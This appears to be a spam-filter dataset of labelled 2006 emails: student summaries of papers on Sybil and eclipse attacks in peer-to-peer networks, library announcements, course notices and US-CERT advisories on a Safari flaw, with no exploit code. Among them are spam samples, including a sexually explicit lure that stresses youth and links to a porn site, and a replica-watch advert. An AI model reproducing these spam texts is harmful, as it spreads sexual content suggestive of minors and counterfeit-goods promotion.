Firstly, nodes may be restricted to a certain number of connections. Assuming it is possible to audit an attacker for the number of nodes he is connected to, the attacker will not be able to compromise more traffic than a normal node would be able to. They propose an auditing scheme where a node keeps track of all of its connections. Periodically it asks all the nodes that it is connected to to send it a list of their connections. If any of the results is too big or does not contain the original node, the offending node is removed. In order to prevent the attacker from falsifying this list on the spot, the request is routed through an ""anonymizer"" chosen from the set of nodes closest to the potential attacker. Of course, if an attacker is able to establish a subnet or a range of addresses of compromised nodes with itself at the center, the anonymizer approach fails with high probability. Finally the last paper points out three aspects of P2P networks where security issues are most likely to occur in structured P2P networks. Firstly, attacks on the nodeID. Allowing clients to choose their own nodeID (or allowing them to choose from a large set of potential nodeIDs) results in an attacker being able perform several disruptive attacks. By using the certificate authority suggested by the Sybil paper to give each node a static nodeID, this problem may be avoided. They concur that distributed algorithms are insufficient for this task. The second potential vulnerability is in the routing algorithm. A faulty node could intercept messages not meant for it and attempt to populate a valid node's routing table with other faulty nodes. The paper suggests solving this by eliminating the fuzziness included in the node selection. While a node would typically pick the node in a range with the best ping, now a particular node is deterministically selected. This leads to the last of the problems, in particular the routing algorithm. A node is capable of intercepting all messages that pass through it and even with encryption techniques, it could still drop the packets. In order to ensure that the message arrives intact at the destination with high probability, the paper suggests sending multiple copies at once. - Oliver Kennedy There cannot be a crisis next week. My schedule is already full. -- Henry Kissinger ",0,0 Ymir Vigfusson ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 13:24:32 -0500",PAPER 8,"Paper 1: Secure routing for structured peer-to-peer overlay networks Paper 2: The Sybil attack? Paper 3: Defending Against Eclipse Attacks on Overlay Networks. In Paper 1 the authors address security issues in overlay networks, especially large-scale attacks when a fraction f (0 <= f < 1) of the nodes on the network may be faulty/malicious in coalitions of size of up c*f (where 1/N <= c <= f). The first issue they address is thwarting attacks directed at replica roots by a 'secure routing primitive' which ensures that when a legitimate node asks for content, all non-faulty replica roots are reached w.h.p. The paper then elaborates on how this primitive is to be accomplished, and discusses three problems that need to be solved. 1) Securely assign nodeIDs to nodes: If an attacker could choose his nodeID, or forge enough clones to control a large enough fraction of the nodeID space (Sybil attack), she could take on the overlay network (e.g. route traffic to her, partition the ring, etc.) The authors mention the use of central certification of nodeIDs, but this solution is awkward for a number of reasons - it relies on central figures which counters the p2p paradigm, and their assumption that malicious users usually only control a few IP addresses is based only on faith. They then move on to the terrible idea of charging users $20 for a nodeID, or binding actual identities to nodeIDs (confiscating anonymity) and argue that this should prevent Sybil attacks. Fortunately, the authors realize that these ideas are not a solution, and conclude by listing other ideas, such as solving crypto puzzles or computing particular SHA1 hashes, all of these are based on the assumption that the attacker has very limited resources to mount an attack. 2) Securely maintain the routing tables: The authors argue that securely assigning nodeIDs is necessary but not sufficient to thwart attacks on the routing table maintenance protocol. Tapestry and Pastry use overlay locality when constructing their rings, and are suspectible to attacks where malicious users lie about their proximity. Also, they are example of systems without strong contraints on the nodeIDs in the routing tables, and are thus suspectible to attack. The authors propose that a viable solution is to impose constraints on the routing table, or by having an additional routing table with heavy contraints (ala Chord). 3) Securely forward messages: When 1) and 2) are in effect, an attacker may still choose not to forward messages, and even when f is small, this attack is effective. This is prevented by applying a failure test to see if the messages was routed, and if not, use some redundant route. The paper then spends some pages on describing how a statistical failure test can be done efficiently, and conclude with a model where that the probability of a false positive is about 12% (when ignoring node suppression attacks). This section needs some more subsequent work. Next, the paper describes how redundant routing can be done as they address the problem of ensuring the routes are diverse. The describe a technique called neighbour set anycast where ""copies of a message are sent towards the destination key until you reach a node that has the key's root in its neighbour set. It then uses detailed knowledge that such a node has about the portion of the identifier space around the destination key to ensure that correct replica roots receive a copy of the message."" Redundant routing is then compared with iterative routing where you iteratively look up the next hop in the routing table, keeping track of where you went, until you find the root of the destinatio key. It turns out that this is expensive. This section then concludes with performance analysis of redundant routing. The article concludes with a description of self-certifying data (data whose integrity can be verified by the client) to minimize the overhead incurred by implementing the ideas above. Paper 2 discusses the Sybil attack in which a potentially malicious user forges multiple identities. The paper shows that for practical purposes, it is impossible to determine if identities are distinct in a distributed environment with no prior information available. The paper formalizes this by modelling a generic distributed environment. It then proceeds to show that for direct identity validation, a malicious user can counterfeit a constant number of multiple identities even when severely resource constrained, and that these identities must be verified simultaneously, otherwise the number is unbounded. Larger scale networks exacerbate this problem. For indirect validation (you accept entities that are accepted by already accepted entities), a sufficiently large set of malicious users can counterfeit an unbounded number of identities, and that all entities in the system need to perform identity validations concurrently, otherwise the each faulty entity can counterfeit a constant number of multiple entities. Again, this problem grows as the system size increases. The paper is brief, and does not go into full depth of the obstructive power that malicious entities can have. Paper 3 presents a so-called Eclipse attack which is a generalized version of the Sybil attack. Here, malicious users can also attack the routing table maintenance mechanism so that the number of nodes that the attacker has full control over grows with time as maintenance messages are infiltrated (this is what Paper 1 presented as one of the main security problems in p2p networks). The authors propose a mechanism called anonymous auditing (you don't know who is challenging you) that attempts to bound the degrees of the nodes. They conclude by showing that this line of defense is effective by providing some experimental results. The authors identify some weaknesses of their approach, namely that the ideal hacker mechanism need be identified, and that anonymous auditing needs to be evolved.",0,0 Alison Buckholtz ,,,Ray English Elected SPARC Chair," For Immediate Release February 21, 2006 For more information, contact: Alison Buckholtz, alison@arl.org RAY ENGLISH ELECTED SPARC STEERING COMMITTEE CHAIR Oberlin’s English Recently Named 2006 ACRL Librarian of the Year Washington, DC – The SPARC Steering Committee, whose newest members began their three-year terms on January 1, has elected Ray English to the position of Chair. English, the Azariah Smith Root Director of Libraries at Oberlin College, has served as a SPARC Steering Committee member since 1999. English was recently named the 2006 Association of College and Research Libraries’ (ACRL) Academic/Research Librarian of the Year, an award that recognizes an outstanding member of the library profession who has made a significant national or international contribution to academic/research librarianship and library development. “SPARC is a dynamic, forward-focused and fast-paced organization that I have greatly enjoyed working with since its founding, and I am pleased that I will have the opportunity as Chair to contribute to its important work in the scholarly communication marketplace,” English said. “Ray English is an original thinker who brings creativity and tactical leadership to the position of SPARC Chair,” said Heather Joseph, SPARC’s Executive Director. “Our steering committee and I believe he will help move forward several important changes to benefit libraries, librarians, and researchers.” SPARC's voting membership, which includes representatives from over 150 academic libraries in the U.S. and Canada, also elected the following individuals to serve on the SPARC Steering Committee for three-year terms which began January 1: • Larry Alford, Temple University • Sherrie Bergman, Bowdoin College (by re-election) • Ray English, Oberlin College (by re-election) • Diane Graves, Trinity University • John Ober, University of California • Sarah Pritchard, University of California, Santa Barbara The new members join the current members of the SPARC Steering Committee: • Nancy Baker, University of Iowa • Deb Carver, University of Oregon • Gwendolyn Ebbett, University of Windsor • Joyce Ogburn, University of Utah • Carolyne Presser, University of Manitoba • Bas Savenije, University of Utrecht Steering Committee members whose terms concluded in December include outgoing Chair Jim Neal (Columbia University), Sam Demas (Carleton College), Sarah Michalak (UNC Chapel Hill), and MacKenzie Smith (MIT). Neal’s service to the steering committee was recognized with a plaque and a speech from SPARC Executive Director Heather Joseph at the ALA Midwinter Meeting in San Antonio. The SPARC Nominating Committee for this year's election included Shirley Baker, Charles Lowry, and Pamela Snelson. *** SPARC SPARC (Scholarly Publishing and Academic Resources Coalition) and SPARC Europe are an international alliance of more than 300 academic and research libraries working to correct imbalances in the scholarly publishing system. SPARC’s advocacy, educational, and publisher partnership programs encourage expanded dissemination of research. SPARC is located on the Web at http://www.arl.org/sparc; SPARC Europe is at http://www.sparceurope.org. ________________ Alison Buckholtz SPARC Consultant alison@arl.org phone: 202 251 7845 ",0,1 ARL Communications ,,,"On the ARL Server (Feb. 21, 2006)","On the ARL Server Week of February 20, 2006 Library Assessment Conference Call for Papers—Due April 15 The LibQUAL+™ Update, February 16, 2006 [PDF] Nominations for 2006 Service Quality Evaluation Academy—Due May 1 Sunshine Week 2006: Are We Safer in the Dark? A National Dialogue on Open Government and Secrecy, a national teleconference on March 13, 2006 Living the Future 6: WOW!—Where Next? cosponsored by the University of Arizona Libraries, ARL, and ACRL in Tucson, Arizona, April 5–8, 2006 Application Materials for Graduate School Stipend from ARL Initiative to Recruit a Diverse Workforce—Due June 21 [PDF] ARL/ACRL Institute on Scholarly Communication, hosted by UCLA, July 12–14, 2006 Job Posting: Communications and Administrative Coordinator for LibQUAL+™ and Statistics and Assessment Activities [PDF] ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Karina Dennison ,egs+summary@cs.cornell.edu,"Wen, Tue, 21 Feb 2006 22:39:37 -0500","I'm young ,online and nude","hello! my name is Karina our friend seduced us to make some photos and videos i and my girlfriends posed naked for him you can see my site http://girlpodium.com we are young and innocent you'll like our little pussies -- Karina pbq ",1,1 postmaster@rusty-2k3,,"Wed, 22 Feb 2006 02:28:33 +0000",Delivery Status Notification (Failure),"------- Forwarded message follows ------- Date: Wed, 22 Feb 2006 02:28:33 +0000 From: postmaster@rusty-2k3 Subject: Delivery Status Notification (Failure) To: [log in to unmask] Message-id This is an automatically generated Delivery Status Notification. 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Also, please don't mention it to anyone who isn't attending the class. If our new location ""leaks"", we might have to go back to the room with the elevator noises. On two days we will have other rooms: April 6, ACES 3.116 April 27, ACES 2.404b Please make a note of these as well. Bill ",0,0 Ari Rabkin ,egs+summary@cs.cornell.edu,"Tue, 21 Feb 2006 20:57:45 -0500",PAPER 8," Sybil: A Sybil attack is when a given principal acquires many different IDs, in order to take control of a disproportionate fraction of the network, to do damage. A Sybil attack, properly defined, is a building block of some other attack. In order to prove strong security properties, it would be very nice to be able to show that distinct machines in a P2P network are owned by different principals. Alas, the central result of this paper is that there are no good strategies for limiting Sybil attacks. In particular, techniques for directly proving that two hosts are distinct via network have an error margin proportional to the difference in resources between a ""powerful"" host and a ""weak"" one. Different hosts must be tested simultaneously, rendering distributed challenges difficult. Vouching schemes are also problematic. The Sybil paper unfortunately does a fairly shallow analysis. It implicitly assumes that all authentication must be done across the network, through messages. It assumes that every malicious node has a valid identity. It implicitly assumes that identities are either accepted or not, with no middle ground. Eclipse: In an eclipse attack, the attacker attempts to inject faulty nodes into every entry in the target host's routing table, with an eye to preventing proper overlay operations. In the end, the target host may have all its network operations mediated through hostile nodes. To make this attack harder, the authors propose to limit the degree of nodes in the overlay network. They propose a protocol for this, in which nodes can anonymously query their neighbors to verify that their neighbor's table includes them, and has a legal degree. If not, then that neighbor is dropped. This defense is only partial. The anonymous query protocol proposed has a number of weaknesses. If an attacker controls a node and its entire anonymity set, the protocol fails. An attacker can also cause innocent nodes to be marked as suspicious by falsifying their responses. And even if the protocol works properly, an attacker's fraction of routing table entries can still be substantially higher than their fraction of overall nodes. Secure routing on structured overlays: This paper proposes a general scheme for reliable delivery of messages on peer-to-peer networks, in the presence of malicious nodes. Messages are sent redundantly, to each of several root nodes for a given object. The authors propose to use two routing tables, one optimized for speed, the other constrained deterministically to limit an attacker's flexibility. This does allow something otherwise impossible--very reliable behavior, with a substantial fraction of the network compromised. The protocol fails when more than around 25% of nodes are compromised. When it does work, the proposed protocol is quite expensive, with substantial time and message cost; an attacker can easily force it every time, which would significantly degrade the network. Another weakness is that the paper does not offer suggestions for cheaper protocols when the threat level is less severe. Ari Rabkin asr32@cornell.edu Risley Hall 454 3-2842 The resources of civilization are not yet exhausted. --William Gladstone ",0,0 Steve Keckler ,cs352-swk@lists.cc.utexas.edu,"Tue, 21 Feb 2006 21:40:19 -0600",study sheet for the exam,"Someone has asked whether the study sheet can be typed or whether is must be handwritten. You may type it - but please don't use a miniscule font or photoreduce it. The goal is not to reproduce the entire textbook on a single sheet of paper, but instead to give you an opportunity to write down some notes and equations that may help jog your memory on the exam. Cheers, Steve Keckler Computer Architecture and Technology Lab Associate Professor Tel: (512) 471-9763 Department of Computer Sciences Dept: (512) 471-7316 1 University Station C0500 Fax: (512) 232-1413 The University of Texas at Austin E-mail: skeckler@cs.utexas.edu Austin, TX 78712-0233 http://www.cs.utexas.edu/users/skeckler ",0,1 Peter Suber ,SPARC-OAForum@arl.org,"Wed, 22 Feb 2006 00:13:07 -0500",Ray English Elected SPARC Chair,"[Forwarding from SPARC. --Peter.] For Immediate Release February 21, 2006 For more information, contact: Alison Buckholtz, alison@arl.org RAY ENGLISH ELECTED SPARC STEERING COMMITTEE CHAIR Oberlin’s English Recently Named 2006 ACRL Librarian of the Year Washington, DC – The SPARC Steering Committee, whose newest members began their three-year terms on January 1, has elected Ray English to the position of Chair. English, the Azariah Smith Root Director of Libraries at Oberlin College, has served as a SPARC Steering Committee member since 1999. English was recently named the 2006 Association of College and Research Libraries’ (ACRL) Academic/Research Librarian of the Year, an award that recognizes an outstanding member of the library profession who has made a significant national or international contribution to academic/research librarianship and library development. “SPARC is a dynamic, forward-focused and fast-paced organization that I have greatly enjoyed working with since its founding, and I am pleased that I will have the opportunity as Chair to contribute to its important work in the scholarly communication marketplace,” English said. “Ray English is an original thinker who brings creativity and tactical leadership to the position of SPARC Chair,” said Heather Joseph, SPARC’s Executive Director. “Our steering committee and I believe he will help move forward several important changes to benefit libraries, librarians, and researchers.” SPARC's voting membership, which includes representatives from over 150 academic libraries in the U.S. and Canada, also elected the following individuals to serve on the SPARC Steering Committee for three-year terms which began January 1: • Larry Alford, Temple University • Sherrie Bergman, Bowdoin College (by re-election) • Ray English, Oberlin College (by re-election) • Diane Graves, Trinity University • John Ober, University of California • Sarah Pritchard, University of California, Santa Barbara The new members join the current members of the SPARC Steering Committee: • Nancy Baker, University of Iowa • Deb Carver, University of Oregon • Gwendolyn Ebbett, University of Windsor • Joyce Ogburn, University of Utah • Carolyne Presser, University of Manitoba • Bas Savenije, University of Utrecht Steering Committee members whose terms concluded in December include outgoing Chair Jim Neal (Columbia University), Sam Demas (Carleton College), Sarah Michalak (UNC Chapel Hill), and MacKenzie Smith (MIT). Neal’s service to the steering committee was recognized with a plaque and a speech from SPARC Executive Director Heather Joseph at the ALA Midwinter Meeting in San Antonio. The SPARC Nominating Committee for this year's election included Shirley Baker, Charles Lowry, and Pamela Snelson. *** SPARC SPARC (Scholarly Publishing and Academic Resources Coalition) and SPARC Europe are an international alliance of more than 300 academic and research libraries working to correct imbalances in the scholarly publishing system. SPARC’s advocacy, educational, and publisher partnership programs encourage expanded dissemination of research. SPARC is located on the Web at http://www.arl.org/sparc; SPARC Europe is at http://www.sparceurope.org. ________________ Alison Buckholtz SPARC Consultant alison@arl.org phone: 202 251 7845",0,1 """Climate B. Fulminated"" ",Imogene ,"Tue, 21 Feb 2006 18:49:04 -0400",One Year written replica watches warranty!,"REPLICA //ATCHES BAZAAR! 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The converted journals are the following: * Abstract and Applied Analysis * Advances in Difference Equations * Boundary Value Problems * Discrete Dynamics in Nature and Society * Fixed Point Theory and Applications * Infectious Diseases in Obstetrics and Gynecology * Journal of Applied Mathematics * Journal of Applied Mathematics and Decision Sciences * Journal of Applied Mathematics and Stochastic Analysis * Journal of Automated Methods and Management in Chemistry * Journal of Inequalities and Applications * Mediators of Inflammation * Sarcoma All current and back volumes of these journals are immediately available free of any subscription or registration barriers on the Hindawi web site. All new articles in these journals will be published under the ""Creative Commons Attribution License"" which permits unrestricted use, distribution, and reproduction in any medium, provided the original work is properly cited. This conversion furthers Hindawi's position as one of the leading Open Access publishers, with more than 25 OA journals in the fields of Mathematics, Engineering, Biology, Medicine, and Chemistry. Hindawi is currently the only OA publisher with journal titles spanning such a large number of STM fields. For more information please contact: Paul Peters Senior Publishing Developer Hindawi Publishing Corporation paul.peters@hindawi.com ""Hindawi Publishing Corporation"" is an STM publisher more than 30 journals as well as two book series. The company web site is located at http://www.hindawi.com. -- Paul Peters Senior Publishing Developer Hindawi Publishing Corporation http://www.hindawi.com",0,1 it@olemiss.edu,undisclosed-recipients:;,"Wed, 22 Feb 2006 09:48:32 -0600",Stolen classroom technology equipment,"This message is being sent using E-mail to Groups ( UM Employees ). This is an alert that we have had several cases of stolen classroom technology equipment over the last few weeks. About two weeks ago, a ceiling-mounted projector was stolen from Bondurant. In this case, the projector had a security cable, and special equipment was used to cut the cable and remove the projector from the ceiling mount. Last week a monitor was stolen from a lectern in Bishop. In this case, the room was left unlocked. This week, another computer and monitor were stolen from Bishop. In this case, both the room and the lectern were left unlocked. Please be aware that we seem to be experiencing a series of thefts and that you should take every precaution in safeguarding equipment. Simple steps such as making sure that the room and lectern are locked may help prevent future cases. Information Technology it@olemiss.edu ",0,0 Madhavi Krishnan ,cs352-swk@lists.cc.utexas.edu,"Wed, 22 Feb 2006 10:14:01 -0600",Website updates,"Hi, Please find Errata for solution set 4 via the following link: http://www.cs.utexas.edu/~skeckler/cs352/homework/hw.shtml I have also updated the tutorial session page. Madhavi ",0,1 billmark@cs.utexas.edu,cs395t-mark@cs.utexas.edu,"Wed, 22 Feb 2006 10:18:09 -0600",[FGP] No office hours this week,"Fine-grain parallelism class, I have to cancel this week's office hours because I'll be out of town. Bill ",0,0 ARL Communications ,,,Trisha Davis and Diane Grover Appointed ARL Visiting Program Officers to Extend ARL/DLF Partnership to Develop License-Mapping Training,"February 22, 2006 For Immediate Release For more information, contact: Martha Kyrillidou            Association of Research Libraries 202-296-2296 martha@arl.org Trisha Davis and Diane Grover Appointed ARL Visiting Program Officers to Extend ARL/DLF Partnership to Develop License-Mapping Training Washington, DC—Trisha L. Davis, Associate Professor and Head, Serials and Electronic Resources Department, Ohio State University Libraries, and Diane Grover, Electronic Resources Coordinator, University of Washington Libraries, have been appointed Visiting Program Officers (VPOs) by the Association of Research Libraries (ARL). Their portfolio at ARL is to refine and extend the benefits of a pilot workshop on analyzing and mapping license terms for use in electronic resource management (ERM) systems.  The pilot workshop was sponsored by ARL and the Digital Library Federation (DLF) and presented as a preconference program at the 2005 ALA Annual Conference (see http://www.arl.org/stats/work/mapping.html).  The ”mapping” of license terms refers to the process of summarizing information contained in license agreements for use within the electronic resource management systems that many libraries now use. Development of this important new area of professional practice is one of a number of efforts within ARL, DLF, and the larger library community to establish effective practices for managing electronic resources.  For example, ARL began offering its highly successful licensing workshops in 1997 and, more recently, has spearheaded efforts to develop measures of electronic resources in the statistics and assessment area.  The DLF’s Electronic Resource Management Initiative (ERMI) is aimed at fostering “the rapid development of improved tools for managing licensed electronic resources—whether by individual libraries, consortia, or vendors” (see http://www.diglib.org/standards/dlf-erm02.htm).  The work of ERMI has been received with enthusiasm by the library community and has been swiftly adopted by the large automation vendors as they design their new ERM modules.  License-mapping practice is heavily reliant on the list of data elements developed as part of DLF ERMI’s work. Trisha L. Davis has many years of experience in working with license language, including a previous VPO assignment in 1997 with ARL’s Office of Scholarly Communication to develop and deliver the ARL licensing workshops. Diane Grover began her present position in 2001, following 20 years of experience in serials and automated library systems.  In 2002, Diane served on a development team with Innovative Interfaces to design its electronic resources module based on the DLF ERMI work, and later led designated ”development partner” libraries in mapping the DLF data elements to the electronic resources module.  Coordinating closely with the DLF ERMI steering committee that is working on the data-standards issues and building on the pilot ARL/DLF license language “mapping” workshop, Davis and Grover will develop course materials and training opportunities to support the description and sharing of license information. The Association of Research Libraries (ARL) is a nonprofit organization of 123 research libraries in North America. Its mission is to influence the changing environment of scholarly communication and the public policies that affect research libraries and the communities they serve. ARL pursues this mission by advancing the goals of its member research libraries, providing leadership in public and information policy to the scholarly and higher education communities, fostering the exchange of ideas and expertise, and shaping a future environment that leverages its interests with those of allied organizations. ARL is located on the Web at http://www.arl.org/. The Digital Library Federation (DLF) is an independent membership organization of academic libraries and related organizations that pioneer the use of electronic-information technologies to extend their collections and services. Founded in 1995, DLF identifies standards and best practices for digital collections and network access; coordinates research and development in the libraries’ use of technology; and incubates projects and services that libraries need but cannot develop individually. More information about DLF is available at http://www.diglib.org/. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Kaylyn Hipps Editorial & Research Associate Association of Research Libraries 21 Dupont Circle NW #800 Washington DC 20036 tel: 202.296.2296 fax: 202.872.0884 ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: This message is being sent to you because you are subscribed to the mailing list ARL-ANNOUNCE@arl.org To unsubscribe, e-mail ARL-ANNOUNCE-off@arl.org To switch to the DIGEST mode, e-mail ARL-ANNOUNCE-digest@arl.org To switch to the INDEX mode, e-mail ARL-ANNOUNCE-index@arl.org Send administrative queries to ARL-ANNOUNCE-request@arl.org Visit the Web archive at https://mx2.arl.org/Lists/ARL-ANNOUNCE/",0,1 Brick and Click Symposium ,ARL-ERESERVE@CNI.ORG,"Wed, 22 Feb 2006 08:22:31 -0600","Submit your Brick and Click proposal by March 1, 2006 - 2nd Call","If you’re interested, remember to submit your Brick and Click proposal by March 1, 2006! http://www.nwmissouri.edu/library/brickandclick/formats.htm You may present about one of the following Symposium Tracks: + Access Services + Administration + Collection Management + Technical Services + Instruction + Reference + Technology Sample Topics are available at: http://www.nwmissouri.edu/library/ brickandclick/sampletopics.htm Send questions to Kathy Hart: juliah@nwmissouri.edu We look forward to receiving your proposal, if you haven't already sent it! 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While believing these myths may not present a direct threat, they may cause you to be more lax about your security habits. If you are not diligent about protecting yourself, you may be more likely to become a victim of an attack. What are some common myths, and what is the truth behind them? * Myth: Anti-virus software and firewalls are 100% effective. Truth: Anti-virus software and firewalls are important elements to protecting your information (see Understanding Anti-Virus Software and Understanding Firewalls for more information). However, neither of these elements are guaranteed to protect you from an attack. Combining these technologies with good security habits is the best way to reduce your risk. * Myth: Once software is installed on your computer, you do not have to worry about it anymore. Truth: Vendors may release patches or updated versions of software to address problems or fix vulnerabilities (see Understanding Patches for more information). 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If your computer has suddenly become slower, you may be experiencing a denial-of-service attack or have spyware on your machine (see Understanding Denial-of-Service Attacks and Recognizing and Avoiding Spyware for more information). _________________________________________________________________ Author: Mindi McDowell _________________________________________________________________ Produced 2006 by US-CERT, a government organization. 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JAPAN JOC OFFICIAL INTERNET PORTAL SITE PARTNER",1,0 US-CERT Alerts ,alerts@us-cert.gov,"Wed, 22 Feb 2006 16:09:35 -0500",US-CERT Cyber Security Alert SA06-053A -- Apple Mac OS X Safari Command Execution Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Cyber Security Alert SA06-053A Apple Mac OS X Safari Command Execution Vulnerability Original release date: February 22, 2006 Last revised: -- Source: US-CERT Systems Affected * Apple Safari running on Mac OS X Overview A vulnerability in the Apple Safari web browser could allow an attacker to place and run malicious code on your computer. Solution Turn off ""Open safe files after downloading"" feature To turn off ""Open safe files after downloading"" feature in Safari, first choose ""Preferences"" from the Safari menu. Next, uncheck the option ""Open 'safe' files after downloading."" More information about this solution is available in the document ""Securing Your Web Browser."" Description Apple Safari is a web browser that comes with Apple Mac OS X. Safari contains a vulnerability that could allow an attacker to run malicious programs on your computer. For more technical information, see US-CERT Technical Alert TA06-053A. References * US-CERT Vulnerability Note VU#999708 - * Securing Your Web Browser - * US-CERT Technical Cyber Security Alert TA06-053A - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT. Please send email to with ""SA06-053A Feedback VU#999708"" in the subject. ____________________________________________________________________ Mailing list information: ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History February 22, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ/y6t30pj593lg50AQLdIwgAiNf+I9L6TpXuM2MBTVs7p7NhsrsCFpuq iMjchi8wFWth1LLKmMiuift4FV/OsUwvn6rI8gERI1Ll/36Z45qAuN0lRs0e3z2x +M3ph21sb1oscacQYuri53lpYphNEwzZuIYiwoJlptnkKRzbqkwOIff5hnJu2XTI pkyUuhfJlP1WxhSpWenVKt2ihgHs+vg5jqlVgy5HhyApABZWNDCEG2CPJQ0rMPjJ lXPrwYr6XYtd4Om1Zq7MBtESAcHJpVXxbljTDTpKagic/xnjOmVpp4mmR71Lgpok 0sDGCjG9mb7Gin5OA56IS2x+5IjxmibZuQHDbkJUxP9eTjTXYSpp8g== =qgI/ -----END PGP SIGNATURE-----",0,1 US-CERT Technical Alerts ,technical-alerts@us-cert.gov,"Wed, 22 Feb 2006 15:58:14 -0500",US-CERT Technical Cyber Security Alert TA06-053A -- Apple Mac OS X Safari Command Execution Vulnerability ,"-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 National Cyber Alert System Technical Cyber Security Alert TA06-053A Apple Mac OS X Safari Command Execution Vulnerability Original release date: February 22, 2006 Last revised: -- Source: US-CERT Systems Affected Apple Safari running on Mac OS X Overview A file type determination vulnerability in Apple Safari could allow a remote attacker to execute arbitrary commands on a vulnerable system. I. Description Apple Safari is a web browser that comes with Apple Mac OS X. The default configuration of Safari allows it to automatically ""Open 'safe' files after downloading."" Due to this default configuration and inconsistencies in how Safari and OS X determine which files are ""safe,"" Safari may execute arbitrary shell commands as the result of viewing a specially crafted web page. Details are available in the following Vulnerability Note: VU#999708 - Apple Safari may automatically execute arbitrary shell commands II. Impact A remote, unauthenticated attacker could execute arbitrary commands with the privileges of the user running Safari. If the user is logged on with administrative privileges, the attacker could take complete control of an affected system. III. Solution Since there is no known patch for this issue at this time, US-CERT is recommending a workaround. Workaround Disable ""Open 'safe' files after downloading"" Disable the option to ""Open 'safe' files after downloading,"" as specified in the document ""Securing Your Web Browser."" Appendix A. References * US-CERT Vulnerability Note VU#999708 - * Securing Your Web Browser - * Apple - Mac OS X - Safari RSS - ____________________________________________________________________ The most recent version of this document can be found at: ____________________________________________________________________ Feedback can be directed to US-CERT Technical Staff. Please send email to with ""TA06-053A Feedback VU#999708"" in the subject. ____________________________________________________________________ For instructions on subscribing to or unsubscribing from this mailing list, visit . ____________________________________________________________________ Produced 2006 by US-CERT, a government organization. Terms of use: ____________________________________________________________________ Revision History Feb 22, 2006: Initial release -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iQEVAwUBQ/zKN30pj593lg50AQJgoQf/ZajorZz/6quzA40dc8cLxIBT70xcClH5 CKDN5nMXl1mRYYkDPF07GbcWL3lWarW5Hif0OiZfazaGNC3p9v4ZxDx/dW/ZmsYo eDznsNWNphKB6yBSIbOUSfGyh/I7pQlG3qxXRWDTA9nVK12KIkvAAoPTgBe40obu +x58gK5/ib4d+dEZ8F9SbO7/syYtcAzfzS2HrBYhG1lWWLYTaNC3hyI2nXF5lNV/ ymwaPv0ivAB9rpalus+KkajjiV5+J08dj+1JwgwcSpvuNMQ5c/8RCIILP+1bR+CL lScvGuSRYk4S0QI9nmCDvwD52sluiwp2VO1atTQ1zcgpwhvLRGo3DQ== =P2/3 -----END PGP SIGNATURE-----",0,1 ARL Communications ,,,arXiv Founder Paul Ginsparg Named Recipient of Paul Evan Peters Award,"Apologies for cross-posting... 21 Dupont Circle Washington DC 20036 202-296-5098 http://www.cni.org For Release: February 22, 2006 arXiv Founder Paul Ginsparg Named Recipient of Paul Evan Peters Award Paul Ginsparg, physicist and Internet scholarly communications pioneer, is the latest recipient of the Paul Evan Peters Award, announced today by the Coalition for Networked Information (CNI), the Association of Research Libraries (ARL), and EDUCAUSE. The award will be presented on April 3, 2006, at the CNI Membership Meeting in Arlington, VA, where Ginsparg will deliver the Paul Peters Award lecture at the opening plenary. A professor of physics, computing and information science at Cornell University, Ginsparg has distinguished himself as the visionary behind arXiv (http://arxiv.org), an Internet e-print archive for articles in the sciences, which allows scholars to circulate and comment on research prior to publication in traditional peer-reviewed journals, thereby significantly reducing the amount of time it takes for an article to be available to researchers. Started in 1991 as a service for preprints in physics, arXiv eventually expanded to include mathematics, computer science and quantitative biology. Today, the resource boasts open access to over 350,000 articles. ""Paul Ginsparg's accomplishments as a theoretical physicist, alone, distinguish him as a superb scholar, but his innovations in scientific publication, for which the Paul Evan Peters award honors him, truly places him in the annals of history as a transformative figure who has changed the landscape of scholarly communication forever,"" remarked Ronald Larsen, Dean of the School of Information Sciences at the University of Pittsburgh and a member of the award search committee. ""This is a richly deserved award,"" Larsen continued, ""that honors the legacy of Paul Evan Peters."" Commenting on how Ginsparg's brainchild has revolutionized science publishing, in the October 2005 issue of Sky & Telescope, author Richard Tresch Fienberg reports that papers published in more than a dozen major astronomy journals are twice as likely to be cited by other researchers if they have also appeared on arXiv. He observes, ""Clearly, professional astronomers are gravitating toward [arXiv] as their primary—perhaps even exclusive—reference source."" Expressing this view directly as part of the 2001 UNESCO Expert Conference Electronic Publishing in Science, Ginsparg wrote, ""The essential question for 'Electronic Publishing in Science' is how our scientific research communications infrastructure should be reconfigured to take maximal advantage of newly evolving electronic resources."" The award—named for CNI's founding director—recognizes Ginsparg as creative and innovative, capable of taking a fresh view of conventional models of exchange and collaboration, which, eventually, led to a groundbreaking approach to scholarly communication. ""Dr. Ginsparg has helped to usher in an extraordinary new era in scholarly communication. I am delighted that he has been selected to receive the Paul Evan Peters Award—his contributions clearly illustrate the spirit of this award,"" said Duane Webster, ARL Executive Director. In 2002, Ginsparg was named a fellow of the John D. and Catherine T. MacArthur Foundation. Upon announcing the award, the foundation stated that, ""Ginsparg has deliberately transformed the way physics gets done—challenging conventional standards for review and communication of research and thereby changing the speed and mode of dissemination of scientific advances."" Commenting on the impact Ginsparg's work has had on scholarly communication, CNI Executive Director Clifford Lynch said, ""Paul's work has shown how technology can fundamentally change the patterns of flow and the pace of scientific communication and has challenged scholarly disciplines to reconsider 